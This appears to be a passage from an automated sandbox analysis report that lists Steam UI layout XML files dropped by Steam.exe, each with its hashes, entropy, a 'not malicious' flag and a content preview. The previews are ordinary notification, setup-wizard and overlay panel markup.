C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_remoteclientconnected.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	572
Entropy (8bit):	4.862967825536887
Encrypted:	false
SSDEEP:
MD5:	45FD51EEE7C921A65246D25F075EA3ED
SHA1:	6071BEC3FDAEAA417CF75753D866F29A5DC71977
SHA-256:	D2D3DAE676CA145BCF3DCA971F08DC1BC7265E9915B828679D7F3C8A91E1A81E
SHA-512:	7EA25C55D6C9D4AD520F4226686DF5CA3F41DA15B9C181B84565E47E260969C23F17052A6E9F7B577562BFFD5A66419D842160062ECC0AF4512C4DB90C6E41C0
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot RemoteClientConnectedNotification">....<Panel class="NotificationFrameConnected" />....<Image class="SteamCog" src="file://{images}/overlay/notification_steamcog.png" />....<Label class="NotificationTwoLabelBodyLineOne" text="#Notification_RemoteClientTitle" />....<Label class="NotificationTwoLabelBodyLineTwo" text="#Notification_RemoteClientConnected" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_remoteclientdisconnected.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	579
Entropy (8bit):	4.861675738076457
Encrypted:	false
SSDEEP:
MD5:	313920B8810923F9902D822A5C4AD1FA
SHA1:	CE0E097EE40CB49CCC48AEF5BB999FCB50EF55DC
SHA-256:	E3EA271BE223D4A301CC1BC4791819DAE6C43E9C8CD696A038C9265470BA1006
SHA-512:	DF206109F80C23E06EED46181AAF24B901CB16320E82785BA605996D33F85B0C92AA78E318E5B6B4BA6C01BF975D53C6CD897399F8F49B279963663F256C31BC
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot RemoteClientDisconnectNotification">....<Panel class="NotificationFrameDisconnected" />....<Image class="SteamCog" src="file://{images}/overlay/notification_steamcog.png" />....<Label class="NotificationTwoLabelBodyLineOne" text="#Notification_RemoteClientTitle" />....<Label class="NotificationTwoLabelBodyLineTwo" text="#Notification_RemoteClientDisconnected" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_screenshot.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	438
Entropy (8bit):	4.867377978640702
Encrypted:	false
SSDEEP:
MD5:	BA4FF36892C22507A6C02354B39CD856
SHA1:	7808AAC205E54B4A2680AAD4C39D55468FE189E7
SHA-256:	7D781511A71D3D47C5E08D94549A8FEFCF899490CEAE2ADA7A49526A6A55FC5D
SHA-512:	C766D19C266B16A3725C4ED36BD6CD186911C39CEF0C1A56C9FCBDCC2C780B7FCC39CC9B169894EA5DE6C231BF6FF5F6EFFE397C572B2FF90CE211A9744837A2
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot">....<Panel class="NotificationFrame" />....<Image class="SteamCog" src="file://{images}/overlay/notification_steamcog.png" />....<Label id="MessageText" class="NotificationTextLabel" text="#Notification_ScreenshotTaken" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_steamupdated.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	614
Entropy (8bit):	4.90754026915286
Encrypted:	false
SSDEEP:
MD5:	54E8B1AFD603CC531C4CB7D7471A93BE
SHA1:	A31E4825FA204D77A555122B2BC83013C4D3881B
SHA-256:	6C1B47E259A015A3860523584253A8AB5C86A9062646E890DB50BEA1FDEA7B14
SHA-512:	5F1A60A0FA86FEAB12FF82B8485CABE8BC1678BE175AF85BA007FB49FC11779C26A18072993AD8875DFEF8992B7AD972D05FF7F18B13FB140C9ED0DE81D773DA
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot">....<Panel class="NotificationFrame" />....<Image class="SteamCogTwoImageNotification" src="file://{images}/overlay/notification_steamcog.png"/>....<Image class="HintButton" src="file://{images}/overlay/notification_middlebutton.png" />....<Label class="NotificationTitle" text="#Notification_SteamUpdateAvailable" />....<Label class="NotificationMessage" text="#Notification_RestartToUpdate" />.. </Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_streamingstarted.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	645
Entropy (8bit):	4.927081552758384
Encrypted:	false
SSDEEP:
MD5:	BFEA1D56D9DF31EC347CE9693C60D4B8
SHA1:	A9DE71C0B75031398A938482E260D1BD9C27CD98
SHA-256:	495B60607B4579E44CD96DD0F3DB0394E0361BF483E2C57BC9B8FEB249DFD869
SHA-512:	F9C3C7F9349BFC5AC5D29CE5A371DB2B9A280378CD6CCC5A90ABBC8A2DD04A41B9B0F3C9A4BC8A448E86AEB484D94B1E871581FD995DA0EF206543550D5D1A7E
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot RemoteClientConnectedNotification">....<Panel class="NotificationFrameConnected" />....<Image class="SteamCog" src="file://{images}/overlay/notification_steamcog.png" />....<Label class="NotificationTwoLabelBodyLineOneStreaming NotificationTwoLabelBodyLineOneWrap" text="#Settings_RemoteClients" />....<Label class="NotificationTwoLabelBodyLineTwo NotificationStyleTwoLabelBodyLineTwoWrap" text="#Notification_StreamingStarted" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_streamingstopped.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	609
Entropy (8bit):	4.925801301280496
Encrypted:	false
SSDEEP:
MD5:	24C8A365FB6DB7E558860EB9833798C6
SHA1:	F5670AF4F4B428571A5998C9DD170B11E36D3F71
SHA-256:	41E1683397EF4AD5B9C694E2D37663AA3A4E4801C6E1F0D6A256464621C85AA5
SHA-512:	75FC8AA151F7B23B13B9EFBBA55A101705A161DE16B5F5C832323EA3AED7A3F0950BE09FFEBD845A71FC0F58FADFA7D046779B0108565D1388AEE77CA868D915
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot RemoteClientConnectedNotification">....<Panel class="NotificationFrameConnected" />....<Image class="SteamCog" src="file://{images}/overlay/notification_steamcog.png" />....<Label class="NotificationTwoLabelBodyLineOneStreaming" text="#Settings_RemoteClients" />....<Label class="NotificationTwoLabelBodyLineTwo NotificationStyleTwoLabelBodyLineTwoWrap" text="#Notification_StreamingStopped" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_timedtrial.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	559
Entropy (8bit):	4.897582759026712
Encrypted:	false
SSDEEP:
MD5:	21AC24B2DA10B2D5B66D16D6D353330F
SHA1:	DC071CFBED91EA21E9D06F0719FFB1CD4178BF67
SHA-256:	50FDBF343592BDC262CFC9349EF58A3C925B2B22F7FC9E73AFF25E5D82DF70BB
SHA-512:	DEBE7056147D0B4AF5676E19B9C8EAB572BDD5583EBDB21E3FEBA6720F4DE12BC18D2437DAD7A64A9E7E24DA2E2579B74C825661FFB5A77712E223A75575377A
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot TimedTrialNotification">....<Panel class="NotificationFrameConnected" />....<Image class="SteamCog" src="file://{images}/overlay/notification_steamcog.png" />....<Label class="NotificationTwoLabelBodyLineOne" text="#Notification_TimedTrialTitle" />....<Label class="NotificationTwoLabelBodyLineTwo" text="#Notification_TimedTrialMinutesLeft" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_virtualhere.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	567
Entropy (8bit):	4.925980152413712
Encrypted:	false
SSDEEP:
MD5:	BFBAD1D967E00E4D1404280013CD5AF1
SHA1:	8DE811BDE070AE02E93E24AA2C0C7DBC26B3F130
SHA-256:	C65867241AFFF7322780908D950A63D0310518264CD01FA9F70A90B9E3789D10
SHA-512:	A3E3BD73FA4316B29CF902EA40759964AC698E60F09A361D2D0131E069B63D7762FEB68054476B21CB13B18208BBB7BFBE4F4A6877EB5DF6CDD37D58D337C378
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot RemoteClientConnectedNotification">....<Panel class="NotificationFrameConnected" />....<Image class="SteamCog" src="file://{images}/overlay/notification_virtualhere.png" />....<Label class="NotificationTwoLabelBodyLineOne" text="#Notification_VirtualHere" />....<Label class="NotificationTwoLabelBodyLineTwo" text="#Notification_PurchaseVirtualHere" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\oobe\checkforupdate.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1957
Entropy (8bit):	4.847736740586618
Encrypted:	false
SSDEEP:
MD5:	9A8B4863E5EA12EFA7069C9B2D889F84
SHA1:	C3DD6EA33AF790F6B62FC076A9F5A592C83B2061
SHA-256:	C85E2B46427506B3A29014B44BAD4DC5720F124E9298AA047FDEB875523FBF63
SHA-512:	A0A90DD45EAA295E5B89468C2FC295BF035E41A704D9A7CC622F7EFE40851AA4634377576EAC5B193574265EDCEE44743CB402A6D7CE9E10E464159E49293E3D
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />.. <include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/oobe/oobe.css" />...</styles>.....<OOBECompleteAndCheckForUpdate class="WizardChild FlowDown" defaultfocus="Throbber" tabindex="auto" selectionpos="auto">.. <Panel class="WizardContent">.. <Label class="WizardChildDescription ClientUpdateCheckVisibility UpdateStatusUnknown" text="#OOBE_CheckForUpdates" />.. <Label class="WizardChildDescription ClientUpdateCheckVisibility UpdateCurrent" text="#OOBE_CheckForUpdates_AlreadyCurrent" />.. <Label class="WizardChildDescription ClientUpdateCheckVisibility UpdateAvailable" text="#OOBE_CheckForUpdates_UpdateAvailable" />.. .. <Panel id="SettingsContainer">.. <Panel id="CenterWrapper" class="ClientUpdateCheckVisibility UpdateStatusUnknown">.. ... <LoadingThrobber id="Throbber" /

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\oobe\controllerwelcome.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	508
Entropy (8bit):	4.828459256776451
Encrypted:	false
SSDEEP:
MD5:	AA73628D9480E67CE485C1B158A2EBE9
SHA1:	7A59464CC29485B29BAAC07ACB6D56112E2A2215
SHA-256:	A6359BB9ED073C49E35E444CC0C58B086C3E40FA2B109C1260E7108A1DF9A087
SHA-512:	F534DD51DF81EB202A4793827F9EB26E484009E519E3E60B159861A87F7B0D8115B36A99D4E20D5EDCFD764AB8BA2AB2D0993ABC4AB707A9855858026BD814E1
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/oobe/oobe.css" />.. <include src="file://{resources}/styles/welcome_nocontroller.css" />...</styles>.....<OOBEControllerWelcomeWizardChild class="WizardChild FlowNone" tabindex="auto" selectionpos="auto">.. <Welcome_NoController id="ControllerWelcomeSubpanel" />...</OOBEControllerWelcomeWizardChild>.....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\oobe\displaysettings.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1153
Entropy (8bit):	4.876442281218491
Encrypted:	false
SSDEEP:
MD5:	30CB182BA812FF6EB16D162B5BF1855C
SHA1:	625EE1228F43FB0EDC0544D3EB94D71A4FF04083
SHA-256:	69304137594EE1EDA3427D22F3903EAB290C1AD059AD12D61E7D6E32DF0019DC
SHA-512:	BAAC8380B77B592C40383681A0F9ED01F74B756AD67F091BD7A7966129A3354C67F88828FC8EC2F33D5C58D4E10B97EC183870EC632B3B1F22412D1988612DF0
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/oobe/oobe.css" />...</styles>.....<OOBEDisplayWizardChild class="WizardChild" tabindex="auto" selectionpos="auto">.. <Panel class="WizardContent">.... ..<Label class="WizardChildDescription" text="#OOBE_DisplaySettings_Description" />.... ..<Panel id="SettingsContainer">.. ...<SettingsPanel_Display id="SettingsPanel_Display" class="SettingsSection SettingsContained" defaultfocus="UnderscanAmount" />.. ..</Panel>.. .... </Panel>.. <Panel id="WizardButtons" tabindex="auto" selectionpos="auto">.. <Button class="WizardButton GapRight" id="ButtonNext" onactivate="WizardButtonNext()">.. <Label id="Label" text="#WizardButton_Next" />.. </Button>.. <Button class="WizardButton GapRight" id="ButtonBack" onactivate="WizardButtonB

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\oobe\eula.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	4.777619109103189
Encrypted:	false
SSDEEP:
MD5:	2BF87E2686ED33EA944B023E6B9C0BED
SHA1:	44C18893D4FBB6A09A62B5F6406B51962B24496B
SHA-256:	A78C5C8B5CED366B803AF174208EA305586A712AA7724C3FF700178B1B5A3D21
SHA-512:	15C40089D89545A88A228343AB092FE95D0FA363A46065BDC9AE8E6E5A0D0D0F8A974E7FBB4D66B5829865BE494F34D465F1B3853D6E9A56BF6614243B81477F
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/oobe/oobe.css" />...</styles>.....<OOBEEulaWizardChild class="WizardChild" defaultfocus="HTMLWrapperInputFocus" tabindex="auto" selectionpos="auto">.. <Panel class="WizardContent">.. <Panel class="InputContainerDown GapDown">.. <HTMLSimpleNavigationWrapper id="HTMLWrapperInputFocus".. wrappedhtmlid="EulaHTML">.. <HTML id="EulaHTML" embedded="true"/>.. </HTMLSimpleNavigationWrapper>.. </Panel>.. </Panel>.... <Panel id="WizardButtons" tabindex="auto" selectionpos="auto">.. <Button class="WizardButton GapRight" id="ButtonNext".. onactivate="WizardButtonNext()">.. <Label id="Label" text="#OOBE_Eula_IAgree"/>.. </Button>.. <Button clas

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\oobe\language.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	948
Entropy (8bit):	4.95053796016299
Encrypted:	false
SSDEEP:
MD5:	337CB288134CF57BBF15EA5229CCB477
SHA1:	1BBB52339302C9A0C3257C32D23090E5A2260B61
SHA-256:	DF8767181E887345E29D871EA6F9C4BCA1A1C99F292B98954C4B5A8C232DFCCD
SHA-512:	0AE9215A8F6C146F0E672579766F86774F5AAE1016E996AF085871454FCF94D993F056B79EE85FAE2D78CA3F024FADE52506FA444ED3E2E1C1FF5421EA9273A1
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/oobe/oobe.css" />...</styles>.....<OOBELanguageWizardChild class="WizardChild FlowDown" tabindex="auto" selectionpos="auto">......<Panel class="WizardContent" tabindex="auto" selectionpos="auto">.....<Label class="WizardChildDescription" text="#OOBE_LanguageSelect" />..........<Panel id="SettingsContainer">......<SettingsPanel_Language id="SettingsPanel_Language" class="SettingsSection SettingsContained" />.....</Panel>.........</Panel>.. <Panel id="WizardButtons" tabindex="auto" selectionpos="auto">.. <Button class="WizardButton GapRight" id="ButtonNext" onactivate="WizardButtonNext()">.. <Label id="Label" text="#WizardButton_Next" />.. </Button>.. </Panel>...</OOBELanguageWizardChild>.....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\oobe\networksettings.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	965
Entropy (8bit):	4.915607255941017
Encrypted:	false
SSDEEP:
MD5:	D2AD95E4BA1C199E729D1432D1CA0DA7
SHA1:	CE076F8982569BE8D3CA04A7E56C79505B80168B
SHA-256:	A23E7FC84255026CFDA36EBECDDB8A8C642FF945F9C5AC6AC0D53ED56C53B5B5
SHA-512:	F1F01B0DCA0CA33AC7FD6AE31634E6BEF02D0F04BA042D89A53D07148A02E5F96B0016CC9609B2EE37CF9957AADC81212BB1A16ACEE67A81833434A47C214356
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/oobe/oobe.css" />...</styles>.....<OOBENetworkSettingsWizardChild class="WizardChild" tabindex="auto" selectionpos="auto">.. <Panel class="WizardContent">.... ..<Label class="WizardChildDescription" text="#OOBE_NetworkSettings_Description" />.... ..<Panel id="SettingsContainer">.. ...<SettingsPanel_Network class="SettingsSection SettingsContained" defaultfocus="AvailableNetworksList" oobe="true" />.. ..</Panel>.. </Panel>.. <Panel id="WizardButtons" tabindex="auto" selectionpos="auto">.. <Button class="WizardButton GapRight" id="ButtonDone" onactivate="WizardButtonNext()">.. <Label id="Label" text="#WizardButton_Done" />.. </Button>.. </Panel>...</OOBENetworkSettingsWizardChild>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\oobe\progress.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	317
Entropy (8bit):	4.84401058601773
Encrypted:	false
SSDEEP:
MD5:	A8C30321752BE70C9DEC0B586A053A75
SHA1:	62D782E4A43545D4BE2D3802F96FD6BDFEE4E249
SHA-256:	6834E51B7C28E93A68B45E9DF14E3FBA57DF433C373AB564F15044CCB46EA2E2
SHA-512:	26AC58E611895DF038C8FD85A452B3EAEF209BBFB0648C5E6050EC0E029EBF1EA38296740B7AC45FC570BDEDD0B2AB2170C411E8BE1DD90139E812652EEA5AE5
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/oobe/oobe.css" />...</styles>.....<OOBEProgress tabindex="auto" selectionpos="auto">....<Panel id="CenterWrapper">.....<LoadingThrobber id="Throbber" />....</Panel>...</OOBEProgress>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\oobe\timezonesettings.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1194
Entropy (8bit):	4.799819596657857
Encrypted:	false
SSDEEP:
MD5:	5D4D23295CE98AED65414688F33DAE4C
SHA1:	CA427B38BAFB9873B206F86865260501BF31EDF6
SHA-256:	DF27DA1B698A113E8683F3E06CC8760624BE4C5A5A20EE10E70B0302BF381305
SHA-512:	9494064A22B754E19A85EB565E767CE666E2BE90A90F41F2B72F65F63EB0EAFC9F6E55AECE5AF0A93778E21B746708757819E1BCE945B97FA237FFECDB84A660
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/oobe/oobe.css" />...</styles>.....<OOBETimeZoneSettingsWizardChild class="WizardChild" tabindex="auto" selectionpos="auto">.. <Panel class="WizardContent">.. <Label class="WizardChildDescription" text="#OOBE_TimeZoneSettings_Description" />.... <Panel id="SettingsContainer">.. <SettingsPanel_TimeZone id="SettingsPanel_TimeZone" class="SettingsSection SettingsContained" defaultfocus="Continents" />.. </Panel>.. ....</Panel>.. <Panel id="WizardButtons" tabindex="auto" selectionpos="auto">.. <Button class="WizardButton GapRight" id="ButtonNext" onactivate="WizardButtonNext()">.. <Label id="Label" text="#WizardButton_Next" />.. </Button>.. <Button class="WizardButton GapRight" id="Butto

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\actionsetindicator.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	332
Entropy (8bit):	4.765375186020337
Encrypted:	false
SSDEEP:
MD5:	69FB19F7048F4A3E1338BEFA146F6889
SHA1:	F110EA58E78538F72857690838B7C52CCF20351D
SHA-256:	9FC7C043A8D8B6A132E2FA9742FF9060A788FADB66470D82514F3A39C76B9FFD
SHA-512:	A4E7E557B1A0EFD20253B8469C2174717C0DBF3262F6400A730B627A9F8CFD778CF408985BDD81FB8724A0EDC364E61B82A132B53425A6A9CFA17FDCEB5B8241
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/overlay/steamcontrollerhud.css" />...</styles>......<ActionSetIndicatorPanel>....<Panel id="ActionSetFadeMask" >.....<Panel id="ActionSetLabelsContainer" />....</Panel>...</ActionSetIndicatorPanel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\async_notifications_requested.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1466
Entropy (8bit):	5.004400839180418
Encrypted:	false
SSDEEP:
MD5:	90066CF7D7AC71D5575C1EACC726B579
SHA1:	BD37C0AB9F4032D109D998BE05DEEE7E6B030320
SHA-256:	AC8E7E4789A783E8305E89566C8F35D85C63D1853ED6E25885FC0AC5330122EA
SHA-512:	995D810F8D84B0930DDB521BBEC0E078053670AD94056B369D12768CC8EB17BCC065331E7411237A645F21B19B1353C29D5504E506CDEE318717BD29697745A9
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/mainmenu.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/overlay/asyncnotifications.css" />...</styles>.....<TenfootMsgBox defaultfocus="ButtonOk" tabindex="auto" selectionpos="auto" >....<Panel id="MsgBoxBodyRegion" class="MsgBoxBodyRegion">.....<Panel id="MsgBoxHeader" class="MsgBoxHeader">......<Label id="MsgBoxTitle" class="MsgBoxTitle" text="#Overlay_AsyncNotificatoinsRequestedDialog_Title" />.....</Panel>.....<Panel id="MsgBoxButtonArea" class="MsgBoxButtonArea">......<Panel id="AsyncNotificationsArea">.......<Image id="AsyncNotificationsIcon" src="file://{images}/overlay/notification_turn.png" />.......<Panel id="MsgBoxDescriptionArea" class="MsgBoxDescriptionArea">........<Label id="AsyncNotificationsDescription" text="#Overlay_AsyncNotificatoinsRequestedDialog_Desc" hittest="false"/>.......</Pan

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\ghostmodecontainer.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.644348894418864
Encrypted:	false
SSDEEP:
MD5:	8B1D806601893F6C6306940F58952872
SHA1:	DD4682EDEC59FDD812D9A43C202EF1075F6E8B09
SHA-256:	CC2FB149891DB265DEB7F1AE49F46032645E2FBECCBD6468574E56711A71C060
SHA-512:	8A1D566C1E44880A9B2D53F67E0C0322F19115E4E168B8023DC0D3571F5A34AE2A68AFECFCA17ECA3EF0D7FFBDB2269F29F8F0DCE4AB5640205920153BD07E4A
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/overlay/ghostmodecontainer.css" />...</styles>......<GhostModeContainerPanel>...</GhostModeContainerPanel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\notification_accesswhileplaying.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.912157089160781
Encrypted:	false
SSDEEP:
MD5:	B558791619E3BE1ADAFFB9F7FFECCFC3
SHA1:	25A80CF797220D48F6188BB8AFC68B399F510312
SHA-256:	258DBB7E5761826FDA157F33E05A1819A274E049CFF137243560AEB77CB9D385
SHA-512:	D3A38114BB58D0DE50BF02ED69E7165301F98CC02973CCD31BCBEB4C64DB3BFC275E75ED182CB9BF3C63BCFFDB67CC7B7BF47E9F55111A80EB29F1A5F7B944B3
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot">....<Panel class="NotificationFrame" />....<Image class="SteamCogTwoImageNotification" src="file://{images}/overlay/notification_steamcog.png" />....<Image class="HintButton" src="file://{images}/overlay/notification_middlebutton.png" />....<Label class="NotificationTitle" text="#Notification_TheSteamCommunity" />....<Label class="NotificationMessage" text="#Notification_AccessWhilePlaying" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\notification_controllerconfigactivated.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	575
Entropy (8bit):	4.8141441387319945
Encrypted:	false
SSDEEP:
MD5:	3ACB0AC0C1BD5F748EE4EBDBF406EF1E
SHA1:	DBCCCFF050CC1EF6E65209D17A90B78B2D7A57E6
SHA-256:	9D89D5C1B86CF545AC46C6FBC5C744AF7C88362C1356D9CBDDE9418CA1D8FBC8
SHA-512:	3404DE6E02D890FC80BA434E113AFCDB4A988EE27C46579428E9CA0AD4EA34B5495EDB52A7C6CD1CCBA8CD289AD572BD786A05C960962D2B39EA414D054BD2E9
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.. <Panel class="NotificationRoot ControllerActivatedNotification">.. <Panel class="NotificationFrame" />.. <Panel id="ControllerConfigImage" />.. <Label id="ConfigActivatedTitle" class="NotificationTitle" text="#Notification_ControllerConfigActivated_Text1" />.. <Label id="ConfigActivatedMessage" class="NotificationMessage" text="#Notification_ControllerConfigActivated_Text2" />.. </Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\notification_player_number_changed.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	726
Entropy (8bit):	4.836284548444371
Encrypted:	false
SSDEEP:
MD5:	776AF5F1BAD3AB7CC3BCC45441E2C05A
SHA1:	1A8D997DE2F6F26A050F48286B78CF63D6E418DE
SHA-256:	020DFE90310A655A7F32D3E3BF4F9136008073D3301A84223D3D7A5ED7FFA7F3
SHA-512:	DEA211ED4AE1EE0FDB709BF942829BB44104A206BED531124521C3670309A3E0B648CED2C60E1C887AA5185DFD3DF5E0FF0FAD71654583D675E26120E06DD074
Malicious:	false
Reputation:	unknown
Preview:	<root>.. <styles>.. <include src="file://{resources}/styles/steamstyles.css" />.. <include src="file://{resources}/styles/notifications.css" />.. </styles>.. <Panel class="NotificationRoot ControllerActivatedNotification">.. <Panel class="NotificationFrame" />.. <Panel id="ControllerConfigImage" />.. <Label id="ConfigActivatedTitle" class="NotificationTitle" text="#Notification_Controller_Player_Number_Title" />.. <Label id="PlayerNumberChangedController" class="NotificationMessageLine1" text="#Notification_Controller_Player_Number_Changed1" />.. <Label id="PlayerNumberChangedNumber" class="NotificationMessageLine2" text="#Notification_Controller_Player_Number_Changed2" />.. </Panel>..</root>

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\overlay\notification_refreshlogin.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	558
Entropy (8bit):	4.909549861546883
Encrypted:	false
SSDEEP:
MD5:	6C18736813F5F17EB857FC94F8D96167
